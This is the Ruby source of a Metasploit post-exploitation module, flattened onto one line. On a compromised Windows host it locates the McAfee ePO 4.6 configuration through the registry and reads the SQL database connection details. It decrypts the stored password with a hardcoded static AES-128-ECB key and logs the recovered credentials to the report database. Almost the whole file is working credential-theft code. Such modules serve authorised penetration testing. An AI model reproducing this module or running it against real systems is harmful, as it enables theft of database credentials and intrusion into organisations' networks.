## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require "net/dns/resolver" require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather McAfee ePO 4.6 Config SQL Credentials', 'Description' => %q{ This module extracts connection details and decrypts the saved password for the SQL database in use by a McAfee ePO 4.6 server. The passwords are stored in a config file. They are encrypted with AES-128-ECB and a static key. }, 'License' => MSF_LICENSE, 'Author' => ['Nathan Einwechter '], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) end def run # Find out where things are installed print_status("Finding Tomcat install path...") subkeys = registry_enumkeys("HKLM\\Software\\Network Associates\\ePolicy Orchestrator") if subkeys.nil? or subkeys.empty? print_error ("ePO 4.6 Not Installed or No Permissions to RegKey") return end # Get the db.properties file location epol_reg_key = "HKLM\\Software\\Network Associates\\ePolicy Orchestrator" dbprops_file = registry_getvaldata(epol_reg_key, "TomcatFolder") if dbprops_file == nil or dbprops_file == "" print_error("Could not find db.properties file location") else dbprops_file << "/conf/orion/db.properties"; print_good("Found db.properties location"); process_config(dbprops_file); end end def process_config(filename) config = client.fs.file.new(filename, 'r') print_status("Processing #{filename}") contents = config.read config_lines = contents.split("\n") for line in config_lines line.chomp line_array = line.split('=') case line_array[0] when "db.database.name" database_name = "" line_array[1].each_byte { |x| database_name << x unless x > 126 || x < 32 } when "db.instance.name" database_instance = "" line_array[1].each_byte { |x| database_instance << x unless x > 126 || x < 32 } when "db.user.domain" user_domain = "" line_array[1].each_byte { |x| user_domain << x unless x > 126 || x < 32 } when "db.user.name" user_name = "" line_array[1].each_byte { |x| user_name << x unless x > 126 || x < 32 } when "db.port" port = "" line_array[1].each_byte { |x| port << x unless x > 126 || x < 32 } when "db.user.passwd.encrypted.ex" # ePO 4.6 encrypted password passwd = "" line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 } passwd.gsub("\\","") # Add any Base64 padding that may have been stripped out passwd << "=" until ( passwd.length % 4 == 0 ) plaintext_passwd = decrypt46(passwd) when "db.user.passwd.encrypted" # ePO 4.5 encrypted password - not currently supported, see notes below passwd = "" line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 } passwd.gsub("\\","") # Add any Base64 padding that may have been stripped out passwd << "=" until ( passwd.length % 4 == 0 ) plaintext_passwd = "PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP" when "db.server.name" database_server_name = "" line_array[1].each_byte { |x| database_server_name << x unless x > 126 || x < 32 } end end # resolve IP address for creds reporting #Code borrowed from Rob fuller's dig module if client.platform =~ /^x64/ size = 64 addrinfoinmem = 32 else size = 32 addrinfoinmem = 24 end result = client.railgun.ws2_32.getaddrinfo(database_server_name,nil,nil,4) if result['GetLastError'] == 11001 print_error("Could not determine IP of DB - credentials not added to report database") return end addrinfo = client.railgun.memread( result['ppResult'], size ) ai_addr_pointer = addrinfo[addrinfoinmem,4].unpack('L').first sockaddr = client.railgun.memread( ai_addr_pointer, size/2 ) ip = sockaddr[4,4].unpack('N').first db_ip = Rex::Socket.addr_itoa(ip) print_good("SQL Server: #{database_server_name}") print_good("SQL Instance: #{database_instance}") print_good("Database Name: #{database_name}") if db_ip print_good("Database IP: #{db_ip}") end print_good("Port: #{port}") if user_domain == nil or user_domain == "" print_good("Authentication Type: SQL"); full_user = user_name else print_good("Authentication Type: Domain"); print_good("Domain: #{user_domain}"); full_user = "#{user_domain}\\#{user_name}" end print_good("User: #{full_user}") print_good("Password: #{plaintext_passwd}") if (db_ip) # submit to reports if session.db_record source_id = session.db_record.id else source_id = nil end report_auth_info( :host => db_ip, :port => port, :sname => 'mssql', :user => full_user, :pass => plaintext_passwd, :source_id => source_id, :source_type => "exploit", :active => true ) print_good("Added credentials to report database") else print_error("Could not determine IP of DB - credentials not added to report database") end end def decrypt46(encoded) encrypted_data = Rex::Text.decode_base64(encoded) aes = OpenSSL::Cipher::Cipher.new("AES-128-ECB") aes.padding = 0 aes.decrypt # Private key extracted from ePO 4.6.0 Build 1029 # If other keys are required for other versions of 4.6 - will have to add version # identification routines in to the main part of the module key = [ 94, -100, 62, -33, -26, 37, -124, 54, 102, 33, -109, -128, 49, 90, 41, 51 ] aes.key = key.pack('C*') password = aes.update(encrypted_data) + aes.final # Get rid of all the crazy \f's that result password.gsub!(/[^[:print:]]/,'') return password end end